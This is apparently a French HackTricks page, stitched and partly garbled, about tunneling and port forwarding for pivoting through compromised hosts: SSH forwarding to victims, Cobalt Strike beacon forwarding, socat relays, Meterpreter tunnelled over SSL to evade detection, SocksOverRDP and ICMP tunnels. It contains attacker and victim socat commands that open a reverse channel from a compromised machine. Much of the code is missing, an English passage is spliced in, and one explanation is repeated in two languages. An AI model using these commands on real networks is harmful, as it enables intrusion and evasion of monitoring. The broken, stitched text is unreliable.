<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
Les analyses **ICMP** et **SYN** ne peuvent pas être tunnelisées à travers des proxies socks, donc nous devons **désactiver la découverte par ping** (`-Pn`) et spécifier des **analyses TCP** (`-sT`) pour que cela fonctionne.
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
Vous avez besoin de **root sur les deux appareils** (car vous allez créer de nouvelles interfaces) et la configuration de sshd doit autoriser la connexion en tant que root :\
SOCKS (Socket Secure) est un protocole de tunneling qui permet aux utilisateurs de contourner les pare-feu et de masquer leur adresse IP. Il peut être utilisé pour rediriger le trafic à travers un proxy, offrant ainsi une couche supplémentaire de confidentialité et de sécurité.
Tunneling is a method that allows data to be transferred securely over a public network. It involves encapsulating the data in an additional layer of security protocols to protect it from being intercepted. Port forwarding, on the other hand, is a technique that allows a computer's port to be accessed from another computer over a network. This can be useful for accessing services or applications running on a remote machine.
1.**SSH Tunneling**: Secure Shell (SSH) tunneling is a popular method for creating secure connections. It can be used to encrypt data transferred between a local and a remote machine.
2.**VPN Tunneling**: Virtual Private Network (VPN) tunneling creates a secure connection over a public network. It is commonly used to access private networks from remote locations.
Port forwarding allows connections to a specific port on a computer from another computer. It can be used to access services that are not directly accessible due to network configurations. Port forwarding can also be used to expose a local server to the internet securely.
Both tunneling and port forwarding are essential techniques in networking and cybersecurity, providing secure ways to transfer data and access remote services.
Dans ce cas, le **port est ouvert dans l'hôte du beacon**, pas dans le serveur d'équipe et le trafic est envoyé au serveur d'équipe et de là à l'hôte:port indiqué.
Dans ce cas, le **port est ouvert dans l'hôte du beacon**, pas dans le Serveur d'Équipe et le **trafic est envoyé au client Cobalt Strike** (pas au Serveur d'Équipe) et de là vers l'hôte:port indiqué.
Socat is a command-line based utility that establishes two bidirectional byte streams and transfers data between them. It can be used to create a secure communication channel between a compromised host and an attacker-controlled system. In this case, we will use Socat to tunnel Meterpreter traffic over SSL to evade detection by network security devices.
To achieve this, follow these steps:
1. Set up a listener on the attacker machine using Socat to listen on a specific port and forward incoming connections to the Meterpreter payload.
2. Configure the compromised host to establish a connection to the attacker machine through Socat, encrypting the traffic with SSL.
3. Once the connection is established, the attacker can interact with the compromised host through the Meterpreter session over the encrypted channel.
This technique can help bypass network monitoring and intrusion detection systems that are not inspecting SSL traffic. However, it is essential to use it responsibly and ethically within authorized penetration testing engagements.
```
#### Meterpreter via SSL Socat
```plaintext
Socat est un utilitaire en ligne de commande qui établit deux flux de données bidirectionnels et transfère des données entre eux. Il peut être utilisé pour créer un canal de communication sécurisé entre un hôte compromis et un système contrôlé par un attaquant. Dans ce cas, nous utiliserons Socat pour tunneliser le trafic de Meterpreter via SSL afin d'éviter la détection par les dispositifs de sécurité réseau.
Pour ce faire, suivez ces étapes :
1. Mettez en place un écouteur sur la machine de l'attaquant en utilisant Socat pour écouter sur un port spécifique et rediriger les connexions entrantes vers la charge utile de Meterpreter.
2. Configurez l'hôte compromis pour établir une connexion à la machine de l'attaquant via Socat, en chiffrant le trafic avec SSL.
3. Une fois la connexion établie, l'attaquant peut interagir avec l'hôte compromis via la session Meterpreter sur le canal chiffré.
Cette technique peut aider à contourner la surveillance réseau et les systèmes de détection d'intrusion qui n'inspectent pas le trafic SSL. Cependant, il est essentiel de l'utiliser de manière responsable et éthique dans le cadre d'engagements de tests de pénétration autorisés.
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
Comme ce binaire sera exécuté sur la victime et qu'il s'agit d'un client ssh, nous devons ouvrir notre service ssh et notre port pour pouvoir établir une connexion inversée. Ensuite, pour rediriger uniquement un port accessible localement vers un port sur notre machine :
1. [Binaires SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise les `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité de service de bureau à distance de Windows. DVC est responsable du **tunneling des paquets sur la connexion RDP**.
Maintenant, nous pouvons **se connecter** à la **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir un **message** indiquant que le **plugin SocksOverRDP est activé**, et qu'il va **écouter** sur **127.0.0.1:1080**.
Il s'authentifie contre un proxy et lie un port localement qui est redirigé vers le service externe que vous spécifiez. Ensuite, vous pouvez utiliser l'outil de votre choix via ce port.\
Maintenant, si vous configurez par exemple sur la victime le service **SSH** pour écouter sur le port 443. Vous pouvez vous y connecter via le port 2222 de l'attaquant.\
Un proxy inversé créé par Microsoft. Vous pouvez le trouver ici: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
Proxychains intercepte l'appel libc `gethostbyname` et tunnelise la requête DNS tcp à travers le proxy socks. Par **défaut**, le serveur **DNS** utilisé par proxychains est **4.2.2.2** (en dur). Pour le changer, éditez le fichier : _/usr/lib/proxychains3/proxyresolv_ et modifiez l'IP. Si vous êtes dans un environnement **Windows**, vous pouvez définir l'IP du **contrôleur de domaine**.
Il est nécessaire d'avoir les droits root sur les deux systèmes pour créer des adaptateurs tun et tunneliser les données entre eux en utilisant des requêtes d'écho ICMP.
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.